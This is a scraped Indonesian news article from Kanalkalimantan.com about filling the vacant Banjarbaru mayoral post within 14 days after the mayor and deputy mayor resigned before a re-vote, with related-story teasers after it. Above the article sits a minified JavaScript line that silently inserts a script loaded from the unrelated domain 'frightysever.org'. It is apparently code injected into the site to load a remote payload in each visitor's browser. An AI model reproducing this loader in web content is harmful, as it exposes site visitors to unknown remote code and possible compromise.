(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Posisi kepala daerah di Ibu Kota Provinsi Kalimantan Selatan harus diisi selambat-lambatnya 14 hari setelah pengumuman mundur Wali Kota dan Wakil Wali Kota Banjarbaru dalam rentang waktu sepekan.
Kekosongan jabatan kepala daerah ini dialami Kota Banjarbaru menjelang Pemungutan Suara Ulang (PSU) Pilwali Banjarbaru yang akan digelar pada 19 April 2025 mendatang.
Kepala Bagian Tata Pemerintahan Setda kota Banjarbaru, H Indra Putera SSTP MM mengatakan, kekosongan jabatan kepala daerah ini tidak akan berlangsung lama, sebab sesuai aturan Undang-Undang, posisi Penjabat Wali Kota Banjarbaru harus segera diisi tanpa penundaan.
Baca juga: Langkah Mundur Wartono dari Wawali Banjarbaru, Klaim Hindari Konflik Kepentingan PSU
“Sesuai peraturan perundang-undangan yang berlaku, posisi Penjabat Wali Kota harus segera diisi tanpa penundaan yang tidak perlu,” ujar Kabag Tata Pemerintahan Setda Banjarbaru.
Secara umum, Indra menjelaskan, pengisian jabatan harus dilakukan dalam waktu paling lama 14 hari setelah terjadi kekosongan.
“Sebagaimana diatur dalam peraturan terkait pemerintahan daerah dan pengangkatan penjabat sementara,” sambung dia.
Baca juga: Kekosongan Wali Kota di Banjarbaru, Ketua DPRD: Plh atau Pjs Diputuskan Gubernur
Saat ini, katanya, mekanisme pengangkatan Penjabat Wali Kota masih menunggu usulan dari Gubernur serta atas persetujuan Kemendagri.
“Setelah pak Wartono mengundurkan diri, Gubernur akan mengusulkan calon penggantinya kepada Kementerian Dalam Negeri (Kemendagri),” ungkapnya.
“Kemudian, Kemendagri akan meninjau dan memberikan persetujuan sebelum menetapkan Penjabat Wali Kota yang baru,” jelasnya.
Baca juga: Aditya Tinggalkan Hiruk Pikuk Politik, Pilih Komisaris BUMN
Pada Kamis (13/3/2025) kemarin, Wakil Wali Kota Banjarbaru Wartono menyusul mengumumkan berhenti dari jabatannya setelah Wali Kota Banjarbaru Aditya Mufti Ariffin mengumumkan mundur sepekan sebelumnya. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar melakukan persiapan guna menghadapi pelaksanaan Pemilihan Kepala Desa (Pilkades)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur meresmikan UPTD Puskesmas Martapura Barat, yang dirangkai dengan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani bersama Dandim 1001/ HSU-BLG Letkol… Read More
KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani menilai Tentara Nasional Indonesia (TNI)… Read More
KANALKALIMANTAN.COM,KUALA KAPUAS - Dinas Perindustrian, Perdagangan, Koperasi, dan UMKM Kabupaten Kapuas menggelar rapat lanjutan penataan… Read More
KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Saidi Mansyur memberikan perhatian khusus terhadap penertiban pengelolaan Taman… Read More
This website uses cookies.